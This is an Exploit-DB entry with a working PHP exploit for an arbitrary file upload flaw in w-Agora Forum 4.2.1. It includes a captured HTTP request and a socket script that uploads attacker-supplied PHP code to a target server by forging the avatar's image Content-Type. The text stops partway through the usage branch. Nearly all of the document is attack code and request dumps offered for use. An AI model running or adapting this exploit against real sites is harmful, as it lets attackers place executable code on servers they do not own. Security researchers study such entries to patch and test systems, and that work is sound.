Exploit-DB #17346
Description: w-Agora Forum 4.2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-30
Author: Treasure Priyamal

Exploit:
<?php
/*
Title .......................: w-Agora Forum 4.2.1 Remote File Upload Exploit
Site ........................: http://www.w-agora.com/en/download.php
Version .....................:  4.2.1


Author ......................: Treasure Priyamal 
Site ........................: http://treasuresec.com
E-mail ......................: treasure[at]treasuresec.com

Discription
===========
w-Agora avatar upload option has content file detect option , but it can be replace with simply editing
POST Request from your browser

Here is a dump from Temp-Data I editied while im upload the File. Just simply replacing the Content-Type
you will be able to upload your script


6:28:18.073[118ms][total 3862ms] Status: 200[OK]
POST http://localhost/w-agora/browse_avatar.php Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[-1] Mime Type[text/html]
   Request Headers:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8]
      Accept-Language[en-us,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7]
      Keep-Alive[115]
      Connection[keep-alive]
      Referer[http://localhost/w-agora/browse_avatar.php?site=localhost]
      Cookie[wa_lang=en; WAS_localhost_test=LastVisit%3D[PII_REDACTED]%26ThisVisit%3D[PII_REDACTED]%26visited%3D[PII_REDACTED]%2B; WAP_localhost_test=Visits%3D1%26LastVisit%3D[PII_REDACTED]; localhost_test_sort=newest; WAP_localhost_auth=lastVisit%3D[PII_REDACTED]%26uid%3Dtest%26pw%3D098f6bcd4621d373cade4e832627b4f6; localhost_auth=lastVisit%3D[PII_REDACTED]%26uid%3Dtest%26pw%3D098f6bcd4621d373cade4e832627b4f6]
   Post Data:
      POST_DATA[----------------------------[PII_REDACTED]5012
Content-Disposition: form-data; name="site"

localhost
----------------------------[PII_REDACTED]5012
Content-Disposition: form-data; name="submitted"

true
----------------------------[PII_REDACTED]5012
Content-Disposition: form-data; name="perpage"

20
----------------------------[PII_REDACTED]5012
Content-Disposition: form-data; name="first"

0
----------------------------[PII_REDACTED]5012
Content-Disposition: form-data; name="avatar"; filename="echo.php"
Content-Type: image/jpeg\

<?php phpinfo(); ?> 

----------------------------[PII_REDACTED]5012
Content-Disposition: form-data; name="submit"

Copy file
----------------------------[PII_REDACTED]5012--
]
   Response Headers:
      Date[Mon, 30 May 2011 00:58:18 GMT]
      Server[Apache/2.2.11 (Win32) PHP/5.3.0]
      X-Powered-By[PHP/5.3.0]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]




*/

if(count($argv) == 5)
{
    echo "\n\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "|        w-Agora Forum 4.2.1 Remote File Upload Exploit	       |\r\n";
    echo "|         		  Treasure Security						       |\r\n";
    echo "|                 by Treasure Priyamal					       |\r\n";
    echo "|        Usage: php exploit.php site.com /path/ user pass        |\r\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "\n";
         
    echo "Code to write in the file (ie. <?php phpinfo(); ?>) :\r\n\n";
    $code     =   trim(fgets(STDIN));
     
    $socket   =   @fsockopen($argv[1], 80, $eno, $estr, 30);
    if(!$socket)
    {
        die("Could not connect to ".$argv[1].". Operation aborted.");
    }
     
    $part1      =   "POST http://192.168.1.101/w-agora/browse_avatar.php?site=localhost HTTP/1.1\r\n";
    $part1     .=   "Host: " . $argv[1] . "\r\n";
    $part1     .=   "User-Agent : Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\r\n";
    $part1     .=   "Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $part1     .=   "Connection: keep-alive\r\n";
    $part1     .=   "Accept-Language : en-us,en;q=0.5\r\n";
    $part1     .=   "Referer :localhost/w-agora/browse_avatar.php?site=localhost\r\n";
    $part1     .=   "Cookie : wa_lang=en\r\n";


    $part1     .=   "Content-Type : multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2      =   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"site\"\r\n";
    $part2     .=   "localhost\r\n";
    $part2     .=   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"submitted\"\r\n";
    $part2     .=   "true\r\n";
    $part2     .=   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"perpage\"\r\n";
    $part2     .=   "20\r\n";
    $part2     .=   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"first\"\r\n";
    $part2     .=   "0\r\n";
    $part2     .=   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"avatar\"; filename=\"file.php\"\r\n";
    $part2     .=   "Content-Type: image/gif\r\n";	// this is where the magic happens 
    $part2     .=   $code."\r\n";
    $part2     .=   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"Submit\"\r\n";
    $part2     .=   "Copy file\r\n";
    $part2     .=   "----------------------------[PII_REDACTED][PII_REDACTED]218008876\r\n";
     
    $part1     .=   "Content-Length: " . strlen($part2) . "\r\n\r\n";
    $part1     .=   $part2;


    fwrite($socket, $part1);

 
    echo "check the upload folder";
     
}
else
{
    echo "\n\n";
    echo "+----------------------------